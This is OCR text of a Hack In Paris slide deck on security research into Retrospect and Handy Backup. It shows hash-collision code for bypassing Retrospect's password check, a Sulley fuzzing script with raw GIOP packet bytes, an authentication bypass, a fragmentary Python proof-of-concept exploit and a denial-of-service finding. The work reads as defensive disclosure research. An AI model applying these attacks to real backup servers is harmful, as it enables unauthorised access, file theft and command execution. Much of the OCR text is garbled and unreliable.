004CFi| . OFB602 | MOVZX EAX,BYTE PTR DS:[EDX] Move into EAX byte of the ASCII password (First iteration letter "t")
004CFi| . 8945 FO | MOV DWORD PTR S5:[EBP-10],EAX
004D0() . 884D 0C | MOV ECX,DWORD PTR SS:[EBP4C]
004p0(| . 83C1 01 | ADD ECX,1
004D0(| . 894D OC | MOV DWORD PTR SS:[EBP+C],ECX
004D0(| . 8B55 FO | MOV EDX,DWORD PTR SS:[EBP-10]
. OFAFSS F|IMUL EDX,DWORD PTR SS:[EBP-10] Multiply the ASCII letter of the password by itself (First iteration letter "t")
004D0(| . 8955 FO | MOV DWORD PTR SS:[EBP-10],EDX save the result in EBP-10
004D0(| . 8B45 E4 | MOV EAX,DWORD PTR S5:[EBP-1C] Move to EAX the result of the OR operation <
004D0(| . 3345 FO | XOR EAX,DWORD PTR SS:[EBP-10] XOR the result of the OR with the Multiply result €——
00400(| . 8945 E4 | MOV DWORD PTR 55:[EBP-1C],EAX Save it in EBP-1C (Acumulator)
004D0( "EB BA  LIMP SHORT meson.(004CFFD9

K NMaGn il Fdils
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Functionl:

Pnsigned hash(string pass, unsigned init=0) {
unsigned result=init; char c; int n=pass.length();

for(int i=0- 3i<n- i++) {
result=(result<<3) | ((result>>29) &3) ;
c=pass[i];

result"=unsigned(c)*unsigned(c);

}

return result;

Mask = AND 3 ->3 =011, any AND operation with 0, will be a bit with O
If you want to protect all the bits, the mask should be AND 7 ->7 =111

Bit to be erased Before Rotation

HEEEPEEEEEEEEEEEEEEEREER A @A

After Rotation Erased bit

;E Hack In Paris
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101000101 01

Hash bits

0x9c4=10011100010
0xa29=10100010100

In the last character (30) of our

length password which shares
new password, we only need

LEREINEIEN)
to put the same bit as the 5th

We will try to generate a 31
bit hash.

ﬁ Hack In Paris
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0x3272
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the same bit of the hash.
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Hash bits
313029282 26 25 24 2§ 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 10

77 //W/// /// //
1— /// //M// % /// .
For character O we have to use 3: /// /M/M/ 7 /
2 bits. (hash bits = 32, pass ‘; %%//w/% //
characters = 31) 6
7 /M// //

////////

We will use characters “2”,
”3”’ II4II and 116”

///

\\\\\\\

me L
B §\\\\\

%
\w\i
DN \

st

N\

0x3272=0x9c4=100111000100
0x3372=0xa29=101000101001
0x3472=0xa90=101010010000
0x36"2=0xb64=101101.100100

§\\\\\

—
wn
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string pass( ' IR ., construct an empty pa

unsigned char c;

for (int 1=390; i>0; 1--) {
if(result & (I<L2)) c=

else c= -

pass[i]l=c; result?=unsigned(c) *unsigned(c) ;

result =ror(result, ) ;

if( (result
else if(result & (I<L2)) c=
else if(result & (I<LI)) c=

else c= >

pass[0]=c; result?=unsigned(c) *unsigned(c) ;

return pass;
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v" We don’t need MITM.

v" We just need the hash which we got from Exploit1.
v" We will build a password which shares the same hash.
v" We will use the retrospect server (trial version © ) and try to access the client.

v’ Let’s see how it works!
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v’ Retrospect.exe and retroclient.exe use an encrypted protocol between them:

(n H
[0 H

W =]

O =] =] h =
=] O

[ N ]

LL

P [ i Co
I
I

=1 o

= -
1

T |
[ ua B2 n

H U i e T

F

]
LLd

e I

CO W LS Co
1

H I 6 T

=] :l'.' 1%
[

IV E |

[ W kaoin

1
nous oy b

I s

i IO Y o Y
il
Co Ba La [T

v We started to think that this encryption is using the plaintext password.
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v" Change password of the client:

I3 Base de datos de clientes de copia de seguridad

¥ Red en vivo

Interfaz: - Clientes por nombre o direccidn especificados directamente

General | Acceso Herramientas |  woldmenes

Retrospect \

i Introduzca una nueva contrasena:
= /

Nombre de cliente: cebo

Seguridad: tiene una contrasena

Desajuste del reloj: 2 ™ Sincronizar relo)

Yersion de cliente: £.5.0 (136)

_?__g E‘ B3 79 68 88 86 68 B0 9G e

YUHEFBES 2 9 ¥ ¥y vy o b oeYeneas i AOAEFEES BB 79 80 B8 68 80 88 98 .v..... E
ABAEFEFG B8 B8O B8 Bp C2-E2-E0-2C .... HIZ3 APAGFEFD 9B BB B0 BG—CS-—S57S5A551.... W23
ABREFEFS A1 A6 FA 53 108 61 7F 98| ifpY.ady BEAGFEF2-0L €€ ES CO @GR 61 7F 98 ifpY.aoy
BBREF7E8 | 65 6F 1E C§ 0S-S5 1T T35 coA“ESL GAAREF7HA0 1A DD S7 44 1B UU SO 19 + WD) 14
ABAGF 788 42-52-CE-4& E7 4B 52 BS GSrBEKRA BAAEF7AS—S9—ES—556-20" 12 35 CE EB 48&-1540
ABAREF716 11 FB 7R 87 F4 EA 7C 2R 4-2-9010 ABAEF716G 1E ED AD 4D A1 DS 12 76 AviMi'lly
ABAEF718 D7 32 A9 76 23C 3F 7B BF I12Bu{7?{% ABAEF712 S8E 7F 98 36 91 B9 1B 9E Adjbaz)| ¢x
BBAGFT BF FE E9 7E E6 88 21 68 ~mi”p.i" AEAEF7268 86 BF 32 DE C2 25 A4 45 #4231 F4AE
BERGF CF ED ARS8 7B 83 C6 S8 15 Ovi{esPs GBAEF722 EA C8 8D SE 26 E2 75 38 g=17&0Hul
ABAGF T R4 2C &8 BS EE 3B DD E& A,"a ;1P ABAEF72G 81 89 45 98 CB 1E F2 C2 ii.ESrac}
ABAEF7328 B2 1IF B85 89 EE 1B 36 67 BYIE-+6g AOREFT32 27 3A 20 AC CB 3E 132 42 ': 'wGr>!B
BBAREF748 58 SC 67 57 DA 6C F7 F9 Xxglipl~-- ARAGF74G 7D 79 42 72 FF 49 D2 DC }Br IEm
BBAGF742 DB 1S 62 8C 7A E3 D& 94 38bizdio BEAEF745 FS 28 47 A9 SF C6 F2 Bl S06H_ &9
ABAREF7YSA 83 11 42 3C 35 12 SB 42 34B<LS!I[BE ABREFYSA AGE 34 67 19 18 36 7E 67 34g4pe”g
BBAEF 75! 8C 6F 3C 29 28 B? 39 01o<) 3|9 BAAEFTSS 6A A9 4A 19 BC B85 9C 1C JBJI. $£L
ABAGF T F2 14 ES SC CC 82 1D "=78\|rd# ABAEF7eA B2 D7 31 CA 79 E9 27 38 BIi1lyy's
BBAGF A1 23 3B 3A AR CD 72 wxitt;:—=r ABAEF7AES BE 84 86 1E 1F SF ES 57 ¥34aYApRl
BBAGF 28 C3 43 53 FD DC 82 nGICS* me ABAGF 774 EE 66 76 D8 F9 A7 Kiipfuwi-2
ABAGFT BS FC B6 SE 69 98 BE «A*AALER ABAEF 7 D9 92 AB 4C BS 2B () o%LA+
BBAGF T EC 1E ZE 96 68 08 88 ;ji>.... ABAGF 7 2B 1B 96 08 68 90 AfF;+....
ARNSC? fAMA (ArfA fAfA (AR (AR fAfA (A P Tr Ta Tal i L e e s s B 1
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v" We know that in the installation of the client, we have to set the password
v’ Let’s check the Linux client during the installation

v" Disassemble main:

0x0805585f <+847>: test %eax,%eax

Ox08055861 <+849>: jge 0x80558b0 <main+928>
Ox08055863 <+851>: cmpl $0x0, -0x14(%ebp)
Ox08055867 <+855>: jne ©x8055895 <main+901>
Ox08055869 <+857>: mov Ox8073500,%eax
0x0805586e <+862>: push  %eax

0x0805586T <+863>: push $0x806e720

Ox08055874 <+868>: call 0x804a2lc <fputs@plt>
0x08055879 <+873>: add $0x8,%esp

Ox0805587Cc <+876>: push $0x806e720

0x08055881 <+881>: push $Ox6

0x08055883 <+883>: call 0©x8068c94 <Reportf>
0x08055888 <+888>: add $0x8,%esp

0x0805588b <+891>: push  $0x1

0x0805588d <+893>: call 0©x804ad4cc <exit@plt>
0x08055892 <+898>: add $0x4,%esp
0x08055895 <+901>: call  ©x8851d78 kSepsSetFirstAccessPswd>

in Farils




S oY DUS

08068960 call _strcpy

08068965 add esp, 8
98068968 mov ebx, [ebprvar i)
08068968 mov [ebp+s], ebx
08 B6896E mov edi, [ebp+s]
. ] 08068971 push edi
v" Following the SopsetfirstaccespasswordEEIIre Ty eax, [ebpedest
08068970 call _ crupHashBlock |
v’ First time client changes the password 8886897E mov [ebp+s5], eax
88068981 mov ebx, [ebp+s]
08068984 mov [ebp+uar 8], ebx
: 08068987 mou edi, [ebp+uvar 8]
v’ The functions Cryphashblock, il s T, il
Crypsetkey and CrypdoEncrypt will ) Ty BAK, [ebprs]

88068990 push eax
be executed

crypSetkKey

H dJuu
08 06899D push
08 B6899F mov edi, ds:kCryptoBlockSize
08 B689AS mov [ebpes], edi
G80689A8 mov eax, [ebp+s]
08 0689AB push eax
I8 B689AC mov ebx, [ebpe+dest])
08 0B689AF push ebx
08068988 mov edi, [ebp+var 3C)
88068983 push edi
08068988 call crypboEncr

080689BC mov eax, ds:kCryptoBlockSize
88 0689CT mov [ebpes], eax
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v' Cryphasblock is the Function1l

h‘rs-rcl
880687CF jnp

Hack In Paris

. &

‘short loc_8668810

B,

s =2

98068701
08868701
08068704
08068708
B80687DE
B8 0687E1
A8 0687ED
B8 068B7EG
G80687ES
880868 7ER
B80687ED
O8068/F0
O80687F3
B80687F6
080687F9
A8 0687FC
88068800
98068803
080688086
88068809

08068701

loc_80687D1:

nov
lea
nov
shr
nov
and
nov
or
nov
nov
novzx
nov
inc
nov
inul
nov
nov
xor

jnp

ebx, [ebp+var 4]
eax, ds:0[ebx=8|
edx, [ebp+var &)
edx, 1Dh

ecx, edx

ecx, 3

ebx, eax

ebx, ecx

[ebptuar 4], ebx
eax, [ebp+arg 0]
edx, byte ptr [eax]
[ebpevar 8], edx
[ebprarg 0]

eax, [ebp+var_ 8]
eax, [ebp+var_ 8]
[ebptvar 8], eax
ebx, [ebpruvar 8]
[ebptvar 4], ebXx
short loc_BB687C6




WEACE nov
M MRACY v
R SACT push
MR BGHALE push
MR NERG0T v
08 S840N push
MR EA4RS cal)
D8 NRADE 00
MR ER00 cp
IR BSRGET oz

v' Crypsetkey is the Function2

sax

dschCryptoflocksize
can, [edprs)
eax
sl
e, N
[ehpearg 4],
shart loc S06R6ER

™7

L

[ =

WOoRLLY

WOGEAMER 1ee
IMOLRMEH v
Alllmlﬂl sep

NRLRAE B
[ebpevar_Ts],

+ 6

o w =

L2
NI Joc
M0 cw
GEBAF N Jbe

L1 22N
[rbpevar A],
short loc_teearne

.

- - -

T 108

fMeree

Ine

1oc SRR

- - -

A& 3

L L L Rl
L L Rl
Sdes/te
|
Ll S L)
L L L Pl
L L)

lec AU
UL e
Teave

reta
crypietiey

s OB ! J |

endp
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ioc
nee
nov
MMATE v
MM 1ea

kT
[*ops .l
eax, [edpe:
[rope "

Y=

L L Al

BEMNEZ10 1o
GENE/10 v
L LAY ]
SR 71Y b

(L S Al

eax, [etprvar &)
tax, i
Short 1oc S06EI20

MCrgptoRiocks)

I




v" CrypdoEncrypt is the function3

08068684

08068684 loc 8B6868AL:

08068684 dec [ebp+arg 8]
080868687 cnp [ebp+arg 8],
08068688 jge short loc 80686980

M e =3

B806868D jmp short loc_ 88068698

K ' 98068690 loc_8068690:
88068698 mov edx, [ebp+targ 4]
88068693 mov eax, [ebprarg 0]
8068696 mov cl, [ebpruar 1]
88068699 xor cl, [eax]
98068698 mov al, Ch
88668690 xor al, [edx]
B8 06869F mov cl, al
880686A1 mov [edx], cl
B80686A3 mov [ebprvar 1], cl
P80686A6 inc [ebp+arg 0]
B80686A9 inc [ebpearg 4]
B80686AC jnp short loc_ 8068684
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v" It look’s like the encrypted packets are generated somehow with the plaintext
password using our famous functions F1,F2,F3.

v" We need to find how these “magic” bytes are generated.

_ Address | Hex dump ASCII
v’ Test -> “magic” bytes GAAEFEES @0 79 00 00 0@ B9 89 99 .y.....E
GEAEFEFD 9B B9 B0 B8 C3 57 SA 85 ... HIZ3
ABREFEF2 AL 66 E6 59 81 61 F 921 (fpY. a0y
@BAGF7H0 (1A DD 57 44 |B@ DD S0 18 +1W0:)1t
v 0BReF710 1E ED AD 40 A] DS 13 76 AvaNi. iy
’ - . | @BREF716 Vil iy
Let’s see with IDA PRO + gdbserver: | F50200020 2 52 52 22 81 B3 16 aF A Bl 5
QBAEF72E @6 BF 33 DE C3 25 A4 45 4131 FUAE
GAAEF725 EA C8 8D SE 26 E3 75 30 0%1"4dud
GAREF730 1 @9 45 98 CB 1E FS C3 i.EEFa° |
BBAGF73S 27 3A 20 AC CB 3E 13 42 ": %rolB
GBAEF740 70 79 42 72 FF 49 D2 OC }yBr IEm
BAAEF74S FS 30 47 A9 SF C6 F3 Bl SOGR_4H
GBAEF7SE AG 34 67 19 18 36 7E 67 2494P6"g
OREF7SS 6A A2 4A 19 @C @5 9C 1C jBJ4. $£u
53 82 D7 31 C@ 79 E9 27 38 8I1'vu’s
IBAEF76S BE 84 06 1E IF SF ES 57 ¥34AVAp
GAREF77E 4B AS E6 66 76 D8 F9 A7 Kipfui-o
BERGF?7S 8B 99 D9 93 AB 4C BS 2B e’ o%lA+
9OAEF7SE 1E C9 3B 1B 90 00 00 89 AF;+....

e TeTa Vol e T To B o Ty T B T I o T B T

&
I
VT
M
e}
N
L

Do oy ey
.-
o
mn
-\J
1)
=







v So, the 4 “magic” bytes are generated with the hash and the plaintext
password...

v" We have the hash, but not the plaintext password.. We only have passwords
that share the same hash.

v It looks pretty difficult to get something good ®

v’ But... let’s do some maths again. Just in case!
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v The 4 magical bytes were generated from the password and the hash:

Password

Authentication Hash

Authentication

% Hack In Paris




Magical Bytes

313029232?2625141322212019131?1615141312111D 9 8 vy 6 5 4 3 2 10

v" Password clear text alwa

%///

v’ As a consequence of this

v These bytes will be used

v" Arrayl is static (is calculs

v’ So just only depend on t

% Hack In Paris




v ‘“test” 2> “74657374” > 74
Ne5MT73MT74=16

v" So the trick is to get a
password which shares the
hash and which xored all its
characters have the same
number than original xored
password.

e Xored only printable
characters from 20 to 7F so
127

v" So bruteforce all the 128
posibilities

R’ Hack In Paris

PASSWORD
mL" T P R e
cCHIM It e
O e e R e A A
aC" 1" R e
bG" " M P e
" R
g@" 1"
gA IR
mD" T R |

mEll!ll!!llll!ll!!llllllll!ll!ll!!!!!Illlll!!

qAII!II!!II"!II!!IIIIIIII!"!II!!!!!llllll!!

s@ll!ll!!llll!ll!!Illlllll!ll!ll!!!!!IIIIIIII

sAll!ll!!IIII!ll!!llllllll!ll!ll!!!!!llllll'I

u@ll!ll!!llll!ll!!llllllll!ll!ll!!!!!llllll"

uAll!ll!!IIII!II!!IIIIIIII!II!II!!!!!IIIIIIII

SEII!II!!llll!ll!!IIIIIIII!II!II!!!!!Illllll'

XOR of All chars

o

1
2
3
4
5
6
7
8
9




if (found== ) return;

if(s.s1ze () >=4)
if (((hash&mask)==_) && passes[xorstring(s)].size()==0)

passes[xorstring(s) ]=s, found++;
if(s.=s1ze()==321) return;

for (unsigned c= : c< 2 ct¥)
if(cl= && ! ((hash®(c*c))&(1<L2)) )
[ [« beautiful

e Te . ~ . + —

cnac

char (c)+s, ror (mask”(1<<L2), 23)):

ﬁ Hack In Paris




v" We don’t need MITM.

v" We just need the hash which we got from Exploit1.

v" We will build a password which shares the same hash and the same 4 “magic”
bytes.

v" We will use the retrospect server (trial version © ) and try to access to the
client.

v’ Let’s see how it works!
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v" We can have full access to any remote client
v' We don’t need MITM or anything else.
v" We can backup or restore any file. (restoring an .exe ? Sounds good!)

v' We can execute any .exe after any backup/restore task as a feature of the
app

v Of course we tried with more complex passwords than “test”
./superhash -s 2dcfaf01

v’ Password super secure: "DeloreanrOx..!!"

fE!Illl!!llll!llll!!Illlll!Illl!llllll!ll!llll!!
oo!llll!!llll!llll!!llllll!llll!llllll!ll!llll!!
bC!IIII!!Illl!llll!!Illlll!Illl!llllll!ll!llll!!
f@!llll!!l|ll!ll|l!!lll|l|!llll!llllll!"!ll"!!
fA!IIIl!!IIII!IIII!!IIIIII!IIII!IIIIII!lI!lIlI!!
CG!IIH!!Illl!llll!!llllll!llll!llllll!ll!llll!!
hM!Illl!!Illl!llll!!IIIIII!IIlI!lIIIII!ll!llll!!
j@l""lIllllllllllIlll|l||l||l||llll||l||l|l|"
J'A!IIII!!llll!llll!!llllll!llll!llllll!Il!llll!!

v" The hash is 0x2d', 'Oxcf', 'Oxaf', '0x1 -> 2dcfaf01

OCoOoONOOTULL P WNR
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NOVOSOFT HANDY
BACKUP




v’ Backup Client/Server widely used by some famous companies.

] '
= 3 =
e
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v’ There are no public vulnerabilities in this product at least during our search

v’ So we decided to test it using protocol fuzzing

Auth Bypass ' Permanent”
D.O.S
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v’ Understanding the communication protocol.

v It’s GIOP Wireshark is our friend

J01592, 168, 1, b4 192.168.1, 96 TCP 66 veracity » ms-streaming [ACK] Seq=313 ack=107

[ 00192,168.1.%9 162,168,196 COSNAMI 214 GIOP 1.2 Request s=136 1d=U157: op=resolve
25 0.02401800192,168.1. 9 162,168,196 TCP 66 veracity » ms-streaming [ACK] Seq=313 ack=107
26 0,02602600192,168.1, 96 192,168.1, 94 COSNAMI 214 [TCP Retransmission] GIOP 1.2 Request s=136 9
27 0.02619900192,168.1. 96 162,168.1.96 6 ' ' ' :
28 0,02652800192,168.1.96 192.168.1. 96 GIOP 200 GIOP 1.2 Reply 5=212 1d=9197: No Exception
29 0,02711900192,168.1.95 192.168.1.94 ald ' ' '
ED CI DENGND 162.168.1.96 152.168.1.94 GIOP 290 [TCP Retransmission] GIOP 1.2 Reply s=212 id=
162,168,196 C 66 veracity » ms-streaming [ACK] Seq=46l Ack=331
162,168,196 GI0 214 GIOP 1.2 Request s=136 1d=0198: op=_is_a
162,168,196 C 66 veracity » ms-streaming [ACK] Seq=46l Ack=331
34 D DEEEESGDIQE 168 1 96 192.168.1, 94 GIGP 214 [TCP Retransmission] GIOP 1.2 Request s=136 1
J286850( 192,168,196 C 66 ms-streaming » veracity [ACK] Seq=331 ack=608
192,168,196 510 51 GIoP 1.2 Reply s=13 1d=U198: No Exception
192,168,196 C 66 ms-streaming » veracity [ACK] Seq=331 ack=608
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v" GIOP is CORBA (Common Object Request Broker Architecture)
v’ Created by OMG in 1991
v’ Like SOAP, RMI, DCOM and RPC

v’ Provides interoperability between vendors and languages (eg.
Objects in C++ may call operations on objects developed in Java)

Client Provider

WinForms Moonlight
Application Application

GNOME
. Application WinForms Moonlight
Managed AT f GTK+ UIA Provider
UIA Client : FireFox 00.0 GAIL UIA/ATK Bridge
UlA/at-spi Bridge : ATK

at-spi (CORBA or D-BUS)
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v' ORB.- The objects request broker dispatches operation calls to the
right server object

v' STUB.- The stub is a component that connects the client object to the
ORB

v SKELETON.- The server-side component that as the STUB connects
the server objet to the ORB

v" GIOP-1I0P.- Communicates between ORBs uses a standard protocol
v" GIOP is General Inter ORB Protocol
v 1IOP is Internet inter ORB Protocol

Hack In Paris



v" GIOP uses Header and has some sizers.

Frame 32: 214 bytes on wire (1712 hits), 214 bytes captured (1712 hits) on interface

Ethernet II, src: CadmusCo_34:3b:c3 (08:00:27:34:3h:c30, Dst: Comtrend_7l:e0:3c (38:7

Internet Protocol version 4, src: 152.168.1.56 (1%2.168.1.95), Dst: 192.1658.1.%98 (192

Transmission Control Protocol, Src Port: weracity (1062), DSt Port: ms-streaming (175
= General Inter-CORE Protocol

Magic number: GIOP
version: 1.2

# Message Flags: 0x0l, Little Endian
MF'"E"T\.HQF' T}FF‘IP . RF'I':!IJF"?\."
Message size: 136
General Inter-ORE Protocol Request
Reguest id: 9158
rRezponse Tlags: Syncscope WITH_TARGET (3)
Reserved: O 0 0O
Targetaddres=: kewaddr
keyaddr Cobject key length): &0
Keyaddr (ORject keyl: ....HdF MameService_1
operation Tength: &
Reguest operation: _1s_a
p ceryviceContewtl st
Type Id length: 40
Type Id: IDL:omg.orgsCosMaming/MamingContext:1l. 0

% Hack In Paris




v" We love to break authentication!
v" We pick up an authentication packet

v  Itisin clear text...

1 E
ootPOA. Commorn. ..
Backupaerw
ACElvate

M Hack In Paris




v Next step is going to be fuzzing the packet using Sulley

v’ Configure Sulley and run

#!/usr/bin/env python if s_block_start("data"):

from sulley import * s_raw("\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x14\x

import sys 01\xOF\x00\x4E\x55\x50\x00\x00\x00\x17\x00\x00\x00\x00\x01\x00\x00\x00\x52\x6

import time F\x6F\x74\x50\x4F\x41\x00\x43\x6F\x6D\x6D\x6F\x6E\x00\x00\x00\x00\x00\x01\x00
\x00\x00\x42\x61\x63\x6B\x75\x70\x53\x65\x72\x76\x65\x72\x6C\x65\x10\x00\x00\

s_initialize("handy1") x00\x41\x63\x74\x69\x76\x61\x74\x65\x53\x65\x73\x73\x69\x6F\x6E\x00\x00\x00\x
00\x00\x01\x00\x00\x00\x14\x00\x00\x00\xFF\xFE")

s_raw("\x47\x49\x4F\x50") s_raw("\x50\x00\x52\x00\x55\x00\x45\x00\x42\x00\x41\x00\x2D\x00\x43\x00\x38\x

#giop 00")

s_raw("\x01\x02")  #version s_raw("\x5C\x00")

s_raw("\x01") #byte s_string("A",encoding="utf_16_le")

ordering s_raw("\x12\x00\x00\x00\xFF\xFE")

s_raw("\x00") #message s_raw("\x6A\x00\x65\x00\x6E\x00\x6E\x00\x79\x00\x6C\x00\x61\x00\x61")

type s_raw("\x00")

s_size("data") s_block_end()

But, what do we miss???
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v' We made a mistake and we found the vulnerability

v Try to configure all OK and you won’t find the auth bypass

e CAWINDOWSAsystem32\cmd.exe - p

[B1:14.46]1
[B1:14.461]
[A1:14.46]1
[B1:14.471]
[A1:14.471]
[B1:14.471]
[A1:14.471]
[B1:14.471]
[A1:14.471]
[B1:14.481
[A1:14.481
[B1:14.481
[A1:14.481
[B1:14.481
[A1:14.481
[B1:14.481
[A1:14.481
[B1:14.421]
[A1:14.491]
[B1:14.421]
[A1:14.491]
[B1:14.421]
[A1:14.491]

Fidd o+ A A1

xmitting: [1.18321]
fuzzing 1833 of 1874
xmitting: [1.18331]
fuzzing 1834 of 1874
xmitting: [1.18341]
fuzzing 1835 of 1874
xmitting: [1.18351]

fuzzing 1836 of 1874 e

xmitting: [1.18361

fuz=zing 1837 of 1874

¥xmitting: [1.18371

fuzzing 1838 of 1074

xmitting: [1.18381

fuzzing 1837 of 18748

xmitting: [1.183791]
fuzzing 1848 of 1874
xmitting: [1.18481]
fuzzing 1841 of 1874
xmitting: [1.18411]

fuzzing 1842 of 1074 g=es

xmitting: [1.18421]
fuzzing 1843 of 1874
xmitting: [1.18431]

r._—_Z2_ . H4drfaAA - 4 @AaraA

rnackK in Paris
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Fuzzers are not only for crashes | Examples? This one! Or... Heartbleed !

ootP04, Commnon, ..
Backupierv
erle,...Activate
Je33ion
....7hE.R.U.E.E.

00 J.e.n.n.y.l.a.a.

novogoft/Backupll
etwork/Seasion:l

Heoiainnnnnn

eonveeo WINHACKI

ootPO4. Sessions.
N | -3 T
crennnnnnnne s AT




v" We don’t need MITM.

v" We use the graphic client in order see the exploit method better ©
v" We change the authentication packet by our authentication bypass packet

v’ Let’s see how it works!

 Hack In Paris






v" We can do many things with this vulnerability:

Full access to the backup server!!
Make backups of all installed clients
Restore of all installed clients
Modify binaries....

Execute commands after tasks !

New Task Wizard - Step I: Pre-, Post-Operation Actions

Run a program before running the task

Handy Backup

' Files and folders D ‘wiait for the program before proceeding
W E-mail messages
+" Disk images

-mail notification ettings

Hack In Paris
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v" We made a Python exploit to list C: as a proof of concept

v’ Have to simulate all the GIOP communication and parsing the
responses

import =socket
dmport sSstruct

headesr = |
Hoiop
Hrer=ion
Hlhowvrte orderircr
Hmessage type

HrlommeSerwvice 1

s=socket . socket{socket.AF TINET, socket.3S0OCE STRELM)
Connect==.Cconnect i 17553 )
S.sendi{pnpko ol

responsse = S.recwd 2039 5)

response__hex = response.encodeq ¥
S.closedd )

Text

length @ 183332  lines : 310

i=n0O
while True:
length : 18352  lines : 310
EIEIIIIIIIIIIIIIIIIIII
Hack In Paris







“Permanent” D.O.S
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v’ Using protocol fuzzing we found this vulnerability
v" Modifying the name of a task, putting a really big task name.
v" When the application tries to start it always crashes

v Only one solution = Uninstall it

Hack In Paris



v" We don’t need MITM.

v" We can bruteforce the user number account and the task number.
v" We can have the user numbers and tasks of the server sending a GIOP packet.
v" Finally, send the malicious packet.

v’ Let’s see how it works!

 Hack In Paris






v Hacking a backup server or backup client can be really dangerous.

v' We found several authentication vulnerabilities in other products using
the same techniques.

v Maths can help us to go further!

v’ Fuzzing and reverse engineering sometimes let us to find more things
than doing source code analysis.

v’ Fuzzing is “easy” and works! And It’s not only for crashes! Handy
backup auth bypass -> 10 minutes !

v’ Breaking auth client backup or backup server sometimes let us RCE as
well!

v’ Backup servers should have more security. They are critical!

Hack In Paris
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